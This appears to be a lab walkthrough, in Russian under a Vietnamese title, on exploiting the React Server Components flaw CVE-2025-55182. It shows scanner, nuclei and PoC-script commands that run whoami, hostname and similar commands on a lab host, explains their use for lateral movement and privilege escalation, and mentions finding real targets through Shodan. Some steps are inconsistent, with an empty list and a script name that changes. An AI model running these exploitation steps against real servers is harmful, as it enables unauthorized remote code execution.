
Khai thác lỗ hổng bảo mật CVE-2025-55182
CVE-2025-55182, также известная как React2Shell, — это критическая уязвимость удаленного выполнения кода (RCE), затрагивающая React Server Components (RSC). Она использует протокол Flight для связи между клиентом и сервером. Когда клиент запрашивает данные, сервер получает полезную нагрузку, анализирует ее, что может позволить злоумышленнику внедрить вредоносные структуры или произвольный код, который React считает допустимым.
| Пункт | Содержание |
|---|---|
| Уровень | Critical (CVSS 10.0) |
| Тип | Unsafe Deserialization (CWE-502) |
| Метод атаки | Удаленный, без аутентификации |
| Затронутые версии: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 и Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
Сервер обрабатывает полезную нагрузку от клиента без полной проверки, что позволяет атакующему:
Эксплуатация этой уязвимости была обнаружена с 5 декабря 2025 года. Большинство успешных эксплуатаций исходят из оценок атакующих групп. Затронуты как среда Windows, так и Linux.
Установка
pip install -r requirements.txt
Сканирование уязвимого сервера:
python3 scanner.py -u https://example.com
Введите путь для сканирования (здесь я ввожу свой уязвимый сервер http://192.168.10.1:3000)
Полученный результат:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Сканирование списка хостов:
python3 scanner.py -l hosts.txt
Сканирование с несколькими потоками и сохранением результатов:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Сканирование с пользовательскими заголовками:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Сканирование целей под Windows:
python3 scanner.py -u https://example.com --windows
Использование безопасного метода обнаружения по побочному каналу:
python3 scanner.py -u https://example.com --safe-check
Как вы видите, мы столкнулись с уязвимостью безопасности, что означает, что наш сервер уязвим для атак злоумышленника.
Теперь мы используем Nuclei, чтобы проверить, имеет ли сервер уязвимость с PoC. Эта функция работает путем отправки пользовательских запросов, минимизации ложных срабатываний и поддержки параллельного сканирования.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Полученный результат
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
Система обнаружила, что этот сервер уязвим и может быть эксплуатирован через CVE-2025-55182. Отсюда видно, что это довольно опасная и важная уязвимость, для которой уже много PoC в социальных сетях. ☺☺☺
Как видите, достаточно этой информации, чтобы подтвердить существование уязвимости в приложении. Чтобы доказать, что это приложение может быть использовано для выполнения команды или удаленного выполнения кода, я запущу PoC.
chmod +x scanner.sh
# Проверка, уязвим ли хост
./datscan.sh -d example.com
# Выполнение команды для проверки текущего пользователя
./datscan.sh -d example.com -c "whoami"
# С полным URL
./datscan.sh -d example.com -c "uname -a"
Значение:
=> Это самая базовая команда для подтверждения успешного RCE
-d, --domain — домен/URL-c, --command — Команда для выполнения (напр.: whoami, hostname,...)# Проверка имени хоста
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Определение версии ОС
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Проверка стабильности выполнения команд
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
Это этап начальной разведки после успешной эксплуатации.
Помогает нам подтвердить: RCE работает, определить ОС,...
Поскольку в этом эксперименте я демонстрирую в личной лабораторной среде, чтобы избежать нарушения закона, использование HTTP-заголовков для кражи данных, больших выводов или специальных символов может вызвать:
ERR_INVALID_CHAR
Короткие команды (например, whoami, ver) более надежны для демонстрации в тестовой среде.
Если не хотите, можете использовать Shodan для проверки IP-адресов в реальной среде и сделать так, как в моем эксперименте выше, для эксплуатации (не рекомендуется).
Как уже отмечалось выше. Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте этот инструмент для тестирования систем, которыми вы не владеете или на которые у вас нет разрешения.
| Значение команд выполнения | Содержание |
|---|
| Возвращает имя хоста | Используется для: - идентификации затронутой системы - для lateral movement (во внутренней среде) |
| Определение версии ОС | Важно для: - оценки возможности дальнейшей эксплуатации (повышение привилегий) - выбора подходящего эксплойта |
| Проверка выполнения команд | Для отладки полезной нагрузки / сканера |
| Возвращает текущее имя пользователя | В данном случае: - пользователь ADMIN → возможны высокие привилегии - важнее, чем whoami в некоторых случаях на Windows |
| Возвращает имя хоста | Возвращает имя хоста через переменную окружения |